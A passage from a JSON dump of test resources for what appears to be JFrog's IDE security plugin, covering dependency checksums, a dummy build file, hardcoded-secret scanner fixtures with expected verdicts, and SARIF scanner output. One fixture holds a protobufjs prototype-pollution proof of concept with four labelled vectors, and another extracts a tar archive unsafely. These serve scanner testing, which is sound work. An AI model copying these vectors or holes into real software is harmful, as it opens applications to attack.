h1:pEJmKZ9XgvQH2a8WCqAEeUDSXBCKBMN90QzOiOhBTIs=\ngithub.com/jfrog/gofrog v1.0.5/go.mod h1:4Caxvc8B2K1A798G1Ne+SsUICRPPre4GpgcFqj+EXJ8=\ngithub.com/jfrog/jfrog-client-go v0.6.2 h1:y9RIwdihquIDhY5M5gbIK+TcIM84sGj88J5GnKvXh1w=\ngithub.com/jfrog/jfrog-client-go v0.6.2/go.mod h1:ke22JapdZHvrOGQq3e6aBiYQKHrujI6GPsaKh8gY0DI=\ngithub.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=\ngithub.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=\ngithub.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=\ngithub.com/mholt/archiver v2.1.0+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU=\ngithub.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=\ngithub.com/mitchellh/mapstructure v1.0.0/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=\ngithub.com/nwaples/rardecode v1.0.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0=\ngithub.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo=\ngithub.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=\ngithub.com/pierrec/lz4 v2.3.0+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=\ngithub.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=\ngithub.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=\ngithub.com/spf13/cast v1.2.0/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg=\ngithub.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=\ngithub.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=\ngithub.com/spf13/viper v1.2.1/go.mod h1:P4AexN0a+C9tGAnUFNwDMYYZv3pjFuvmeiMyKRaNVlI=\ngithub.com/src-d/gcfg v1.3.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI=\ngithub.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8=\ngithub.com/xanzy/ssh-agent v0.2.0/go.mod h1:0NyE30eGUDliuLEHJgYte/zncp2zdTStcOnWhgSqHD8=\ngithub.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos=\ngolang.org/x/crypto v0.0.0-20181001203147-e3636079e1a4/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/net v0.0.0-20180926154720-4dfa2610cdf3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/sys v0.0.0-20180903190138-2b024373dcd9/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180906133057-8cf3aee42992/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/src-d/go-billy.v4 v4.3.0/go.mod h1:tm33zBoOwxjYHZIE+OV8bxTWFMJLrconzFMd38aARFk=\ngopkg.in/src-d/go-git-fixtures.v3 v3.1.1/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g=\ngopkg.in/src-d/go-git.v4 v4.7.0/go.mod h1:CzbUWqMn4pvmvndg3gnh5iZFmSsbhyhUWdI0IQ60AQo=\ngopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\n"
  },
  {
    "path": "src/test/resources/projects/project2/subproject/main.go",
    "content": "package subproject\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/jfrog/gocmd/cmd\"\n)\n\nfunc main() {\n\tcmd.GetDependenciesGraph()\n}\n\nfunc PrintHello() {\n\tfmt.Println(\"Hello World!\")\n}\n"
  },
  {
    "path": "src/test/resources/proxy/proxy.pac",
    "content": "function FindProxyForURL(url, host) {\n    if (url === \"https://1.2.3.5\") {\n        return \"DIRECT\"\n    }\n    return \"PROXY proxyPacHost.org:8888; PROXY proxyPacSecondHost.org:8888\";\n}"
  },
  {
    "path": "src/test/resources/secrets/testProjects/dummy/ApplicabilityScannerExecutor.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport com.jfrog.xray.client.services.entitlements.Feature;\nimport org.jfrog.build.api.util.Log;\n\nimport java.io.IOException;\nimport java.util.List;\n\n/**\n * @author Tal Arian\n */\npublic class ApplicabilityScannerExecutor extends ScanBinaryExecutor {\n    private static final List<String> SCANNER_ARGS = List.of(\"ca\");\n    private static final List<PackageManagerType> SUPPORTED_PACKAGE_TYPES = List.of(PackageManagerType.PYPI, PackageManagerType.NPM, PackageManagerType.YARN, PackageManagerType.GRADLE, PackageManagerType.MAVEN);\n\n\n    public ApplicabilityScannerExecutor(Log log, ServerConfig serverConfig) {\n        this(log, serverConfig, \"\", true);\n    }\n\n    public ApplicabilityScannerExecutor(Log log, ServerConfig serverConfig, String binaryDownloadUrl, boolean useJFrogReleases) {\n        super(SourceCodeScanType.CONTEXTUAL, binaryDownloadUrl, log, serverConfig, useJFrogReleases);\n        supportedPackageTypes = SUPPORTED_PACKAGE_TYPES;\n    }\n\n    public List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled) throws IOException, InterruptedException {\n        return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled);\n    }\n\n    @Override\n    Feature getScannerFeatureName() {\n        return Feature.CONTEXTUAL_ANALYSIS;\n    }\n}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/dummy/build.gradle",
    "content": "import java.net.http.HttpClient\nimport java.net.http.HttpRequest\nimport java.net.http.HttpResponse\nimport java.nio.file.Paths\n\nplugins {\n    id \"org.jetbrains.intellij\" version \"1.15.0\"\n    id \"java\"\n    id \"maven-publish\"\n    id \"de.undercouch.download\" version \"5.3.0\"\n    id \"io.freefair.lombok\" version \"8.0.1\"\n}\n\ngroup 'com.jfrog.ide'\nversion currentVersion\n\nsourceCompatibility = JavaVersion.VERSION_17\ntargetCompatibility = JavaVersion.VERSION_17\ndef testPython = project.gradle.startParameter.taskNames.contains(\"pythonTests\")\ndef intellijType = testPython ? \"IC\" : \"IU\"\n\nintellij {\n    version = sandboxVersion\n    type = intellijType\n    plugins = ['gradle', 'maven', 'Groovy', 'properties', 'java', 'Kotlin', 'org.jetbrains.plugins.go:223.8617.56', \"PythonCore:223.8617.56\"]\n    pluginName = 'JFrog'\n    updateSinceUntilBuild = false\n}\n\nrunPluginVerifier {\n    ideVersions = [intellijType + \"-\"+ sandboxVersion]\n}\n\nrunIde {\n    jvmArgs '-Xmx2G'\n}\n\nrepositories {\n    mavenLocal()\n    mavenCentral()\n    maven {\n        url \"https://releases.jfrog.io/artifactory/oss-releases\"\n    }\n    maven {\n        url \"https://releases.jfrog.io/artifactory/oss-snapshots\"\n    }\n}\n\ndef buildInfoVersion = '2.41.4'\ndependencies {\n    implementation group: 'com.fasterxml.jackson.dataformat', name: 'jackson-dataformat-yaml', version: '2.15.2'\n    implementation group: 'org.jfrog.buildinfo', name: 'build-info-extractor', version: buildInfoVersion\n    implementation group: 'org.jfrog.buildinfo', name: 'build-info-client', version: buildInfoVersion\n    implementation group: 'com.fasterxml.jackson.core', name: 'jackson-databind', version: '2.15.2'\n    implementation group: 'org.jfrog.buildinfo', name: 'build-info-api', version: buildInfoVersion\n    implementation group: 'net.lingala.zip4j', name: 'zip4j', version: '2.11.4'\n    implementation group: 'com.jfrog.xray.client', name: 'xray-client-java', version: '0.14.1'\n    implementation group: 'org.apache.commons', name: 'commons-collections4', version: '4.4'\n    implementation group: 'org.jfrog.filespecs', name: 'file-specs-java', version: '1.1.2'\n    implementation group: 'com.jfrog.ide', name: 'ide-plugins-common', version: '2.2.2'\n    implementation group: 'org.apache.commons', name: 'commons-lang3', version: '3.11'\n    implementation group: 'com.google.guava', name: 'guava', version: '32.0.1-jre'\n    testImplementation group: 'org.mockito', name: 'mockito-inline', version: '4.2.0'\n    testImplementation group: 'org.mockito', name: 'mockito-core', version: '4.2.0'\n}\n\ntest {\n    scanForTestClasses false\n    include \"**/*Test.class\"\n    exclude \"**/*IntegrationTest*\", \"**/*PypiScannerTest*\"\n    testLogging {\n        exceptionFormat \"full\"\n        events \"started\", \"passed\", \"skipped\", \"failed\", \"standardOut\", \"standardError\"\n        minGranularity 0\n    }\n}\n\ntasks.register('pythonTests', Test) {\n    scanForTestClasses false\n    include \"**/*PypiScannerTest*\"\n    testLogging {\n        exceptionFormat \"full\"\n        events \"started\", \"passed\", \"skipped\", \"failed\", \"standardOut\", \"standardError\"\n        minGranularity 0\n    }\n}\n\ntasks.register('integrationTests', Test) {\n    scanForTestClasses false\n    include \"**/*IntegrationTests.class\"\n    testLogging {\n        exceptionFormat \"full\"\n        events \"started\", \"passed\", \"skipped\", \"failed\", \"standardOut\", \"standardError\"\n        minGranularity 0\n    }\n}\n\ndef webviewFileName = 'jfrog-ide-webview-' + webviewVersion + '.tgz'\ndef webviewUrl = 'https://releases.jfrog.io/artifactory/ide-webview-npm/jfrog-ide-webview/-/' + webviewFileName\ntasks.register('downloadWebview', Download) {\n    src webviewUrl\n    dest buildDir\n    onlyIfModified true\n    finalizedBy('getAndUpdateWebviewChecksum')\n}\n\ntasks.register('getAndUpdateWebviewChecksum') {\n    finalizedBy('verifyWebview')\n    if (System.getenv(\"CI\") != null) {\n        println 'CI mode is active - Skipping Webview checksum update'\n        ext.checksum = webviewChecksum\n        return\n    }\n    ext.checksum = getWebviewChecksumFromServer(webviewUrl)\n    updateWebviewChecksumInPropertiesFile(ext.checksum)\n}\n\ntasks.register('verifyWebview', Verify) {\n    src new File(buildDir, webviewFileName)\n    algorithm 'SHA-256'\n    checksum getAndUpdateWebviewChecksum.checksum\n    finalizedBy('extractWebview')\n}\n\ntasks.register('extractWebview', Copy) {\n    from tarTree(new File(buildDir, webviewFileName))\n    into Paths.get('src', 'main', 'resources', 'jfrog-ide-webview').toFile()\n    include '**/build/**/*'\n    eachFile {\n        path = path.replace('package/build/', '')\n    }\n}\n\ntasks.withType(JavaCompile).configureEach {\n    options.deprecation = true\n    options.encoding = \"UTF-8\"\n}\n\ntasks.withType(ProcessResources).configureEach {\n    dependsOn('downloadWebview')\n}\n\npublishing {\n    publications {\n        mavenJava(MavenPublication) {\n            from components.java\n            artifact buildPlugin\n        }\n    }\n}\n\npublishPlugin {\n    token = System.getenv(\"JETBRAINS_TOKEN\")\n}\n\n/**\n * Get Webview checksum from releases.jfrog.io\n * @param webviewUrl - Webview URL\n * @return the sha256 of the webview\n */\nstatic String getWebviewChecksumFromServer(String webviewUrl) {\n    def headRequest = HttpRequest.newBuilder(new URL(webviewUrl).toURI()).method(\"HEAD\", HttpRequest.BodyPublishers.noBody()).build()\n    def checksumResponse = HttpClient.newHttpClient().send(headRequest, HttpResponse.BodyHandlers.ofString())\n    return checksumResponse.headers().firstValue(\"x-checksum-sha256\").get()\n}\n\n/**\n * Update the Webview checksum in the gradle.properties file\n * @param checksum - Webview checksum to update\n */\nstatic def updateWebviewChecksumInPropertiesFile(String checksum) {\n    def gradleProps = new Properties()\n    File gradlePropertiesFile = new File(\"gradle.properties\")\n    gradlePropertiesFile.withInputStream { gradleProps.load(it) }\n    gradleProps.setProperty(\"webviewChecksum\", checksum)\n    gradlePropertiesFile.withWriter('UTF-8') { fileWriter ->\n        gradleProps.each { key, value -> fileWriter.writeLine \"$key=$value\" }\n    }\n}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/dummy/index.js",
    "content": "// index.js\nprotobuf = require(\"protobufjs\");\n\n// Object.freeze(Object.prototype);\n\nlet person1 = {firstName:\"John\", lastName:\"Doe\", age:50, eyeColor:\"blue\"};\nlet person2 = {firstCoolName:\"John\", lastName:\"Doe\", age:50, eyeColor:\"blue\"};\n\n// Vector 1\nlet evilkey = \"__proto__.firstName\"\nlet evilval = \"evilvalue\"\nprotobuf.util.setProperty(person1, evilkey, evilval); \n\n// Vector 2\nlet obj = new protobuf.ReflectionObject(\"Test\")\nobj.setParsedOption({}, evilval, evilkey);\n\n\n// Vector 3\nlet p = `option (foo).__proto__.someprop= \"somevalue\";`\nprotobuf.parse(p)\n// Vector 4\nprotobuf.load(\"/path/to/untrusted.proto\", function(err, root) { return });\nconsole.log({}.firstName);\nconsole.log(person1.firstName);\nconsole.log(person2.firstName); \n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/dummy/main.py",
    "content": "#!/usr/bin/env python3\nimport os\nimport tarfile\n\n\ndef py_files(members):\n    for tarinfo in members:\n        if os.path.splitext(tarinfo.name)[1] == \".py\":\n            yield tarinfo\n\n\ndef get_name():\n    return \"sample.tar.gz\"\n\n\nname = get_name()\ntar = tarfile.open(name)\ntar.extractall(members=py_files(tar))\ntar.close()\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_base64.js",
    "content": "const api_key = \"2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_base64.js.approval.json",
    "content": "{\"Answer\": true, \"Verdict\": \"Hardcoded secrets were found in Javascript files\", \"Evidence\": [\"2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe\"]}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_hex.js",
    "content": "const api_key = \"0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/applicable_hex.js.approval.json",
    "content": "{\"Answer\": true, \"Verdict\": \"Hardcoded secrets were found in Javascript files\", \"Evidence\": [\"0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49\"]}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_base64.js",
    "content": "const api_key = \"Tm90IGFuIGFwaSBrZXkhISEhISFOb3QgYW4gYXBpIGtleSEhISEhIU5vdCBhbiBhcGkga2V5ISEh\\nISEhTm90IGFuIGFwaSBrZXkhISEhISE=\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_base64.js.approval.json",
    "content": "{\"Answer\": false, \"Verdict\": \"Hardcoded secrets were not found in Javascript files\", \"Evidence\": []}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_hex.js",
    "content": "const api_key = \"4e6f2068617264636f646564207365637265742068657265212121204e6f2068617264636f64656420736563726574206865726521212120\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.nodejs.hardcoded-secrets/not_applicable_hex.js.approval.json",
    "content": "{\"Answer\": false, \"Verdict\": \"Hardcoded secrets were not found in Javascript files\", \"Evidence\": []}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_base64.py",
    "content": "api_key = \"2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_base64.py.approval.json",
    "content": "{\"Answer\": true, \"Verdict\": \"Hardcoded secrets were found in Python files\", \"Evidence\": [\"2VTHzn1mKZ/n9apD5P6nxsajSQh8QhmyyKvUIRoZWAHCB8lSbBm3YWx5nOdZ1zPEOaA0zIZy1eFgHgfB2HkfAdVrbQj19kagXDVe\"]}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_hex.py",
    "content": "api_key = \"0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/applicable_hex.py.approval.json",
    "content": "{\"Answer\": true, \"Verdict\": \"Hardcoded secrets were found in Python files\", \"Evidence\": [\"0159392e31dc912156e1cc6eab32a3d7df7154aecdf2ffe7d66f10da0d5706f7d9ba3183a366389112819b728b20026d04a4f6304da649beefc7fe49\"]}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_base64.py",
    "content": "api_key = \"Tm90IGFuIGFwaSBrZXkhISEhISFOb3QgYW4gYXBpIGtleSEhISEhIU5vdCBhbiBhcGkga2V5ISEh\\nISEhTm90IGFuIGFwaSBrZXkhISEhISE=\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_base64.py.approval.json",
    "content": "{\"Answer\": false, \"Verdict\": \"Hardcoded secrets were not found in Python files\", \"Evidence\": []}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_hex.py",
    "content": "api_key = \"4e6f2068617264636f646564207365637265742068657265212121204e6f2068617264636f64656420736563726574206865726521212120\"\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.python.hardcoded-secrets/not_applicable_hex.py.approval.json",
    "content": "{\"Answer\": false, \"Verdict\": \"Hardcoded secrets were not found in Python files\", \"Evidence\": []}\n"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.approval.json",
    "content": "{\"Answer\": true, \"Verdict\": \"Secret keys were found\", \"Evidence\": [\"Offset: 0x000006a8:0x000006b2\", \"Offset: 0x000006c0:0x000006ca\"]}"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.c",
    "content": "int main() {\n    char *secret = \"AKIANONC0C49XZC0GA8Z\";\n    char *secret1 = \"gho_Jz55sxIFfpoO2IBBSPQ6YQVaLdk7pue69YiC\";\n    return 0;\n}"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.txt",
    "content": "AKIANONC0C49XZC0GA8Z\ngho_Jz55sxIFfpoO2IBBSPQ6YQVaLdk7pue69YiC"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/applicable.txt.approval.json",
    "content": "{\"Answer\": true, \"Verdict\": \"Secret keys were found\", \"Evidence\": [\"AKIANONC0C\", \"gho_Jz55sx\"]}"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.approval.json",
    "content": "{\"Answer\": false, \"Verdict\": \"Secret keys were not found\", \"Evidence\": []}"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.c",
    "content": "int main() {\n    char *secret = \"ABCDNONC0C49XZC0GA8Z\";\n    return 0;\n}"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.txt",
    "content": "ABCDNONC0C49XZC0GA8Z"
  },
  {
    "path": "src/test/resources/secrets/testProjects/exposedSecrets/req.secret.keys/not_applicable.txt.approval.json",
    "content": "{\"Answer\": false, \"Verdict\": \"Secret keys were not found\", \"Evidence\": []}"
  },
  {
    "path": "src/test/resources/sourceCode/applicable_kind_pass_output.sarif",
    "content": "{\n  \"runs\": [\n    {\n      \"tool\": {\n        \"driver\": {\n          \"name\": \"JFrog Applicability Scanner\",\n          \"rules\": [\n            {\n              \"id\": \"applic_CVE-2022-25878\",\n              \"properties\": {\n                \"conclusion\": \"positive\",\n                \"applicability\": \"not_applicable\"\n              },\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-25878\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2022-25978\",\n              \"properties\": {\n                \"conclusion\": \"negative\",\n                \"applicability\": \"applicable\"\n              },\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-25978\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2021-25878\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2021-25878\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2022-29019\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-29019\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2022-29004\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-29004\"\n              }, \"properties\": {\n              \"conclusion\": \"positive\",\n              \"applicability\": \"not_covered\"\n            }\n            },\n            {\n              \"id\": \"applic_CVE-2022-29014\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-29014\"\n              }, \"properties\": {\n              \"conclusion\": \"positive\",\n              \"applicability\": \"undetermined\"\n            }\n            }\n          ],\n          \"version\": \"APPLIC_SCANNERv0.2.0\"\n        }\n      },\n      \"invocations\": [\n        {\n          \"executionSuccessful\": true,\n          \"arguments\": [\n            \"scan\"\n          ],\n          \"workingDirectory\": {\n            \"uri\": \"\"\n          }\n        }\n      ],\n      \"results\": [\n        {\n          \"message\": {\n            \"text\": \"The vulnerable function protobufjs.load is called\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"file:///examples/applic-demo/index.js\"\n                },\n                \"region\": {\n                  \"endColumn\": 17,\n                  \"endLine\": 20,\n                  \"snippet\": {\n                    \"text\": \"protobuf.parse(p)\"\n                  },\n                  \"startColumn\": 0,\n                  \"startLine\": 20\n                }\n              }\n            }\n          ],\n          \"ruleId\": \"applic_CVE-2022-25878\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The vulnerable function protobufjs.parse is called.\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"file:///examples/applic-demo/index.js\"\n                },\n                \"region\": {\n                  \"endColumn\": 73,\n                  \"endLine\": 22,\n                  \"snippet\": {\n                    \"text\": \"protobuf.load(\\\"/path/to/untrusted.proto\\\", function(err, root) { return })\"\n                  },\n                  \"startColumn\": 0,\n                  \"startLine\": 18\n                }\n              }\n            }\n          ],\n          \"ruleId\": \"applic_CVE-2022-25978\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The scanner checks whether the vulnerable function `ansi-regex` is called.\"\n          },\n          \"kind\": \"pass\",\n          \"ruleId\": \"applic_CVE-2021-25878\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The scanner checks whether the vulnerable function `ansi-regex` is called.\"\n          },\n          \"kind\": \"fail\",\n          \"ruleId\": \"applic_CVE-2022-29019\"\n        },\n        {\n        \"message\": {\n          \"text\": \"The scanner checks whether the vulnerable function `call-all-ansi` is called.\"\n        },\n        \"kind\": \"pass\",\n        \"ruleId\": \"applic_CVE-2022-29004\"\n        },\n        {\"message\": {\n          \"text\": \"The scanner checks whether the vulnerable function `not-call-all-ansi` is called.\"\n        },\n        \"kind\": \"pass\",\n        \"ruleId\": \"applic_CVE-2022-29014\"\n        }\n      ]\n    }\n  ],\n  \"version\": \"2.1.0\",\n  \"$schema\": \"https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json\"\n}"
  },
  {
    "path": "src/test/resources/sourceCode/faulty_output.sarif",
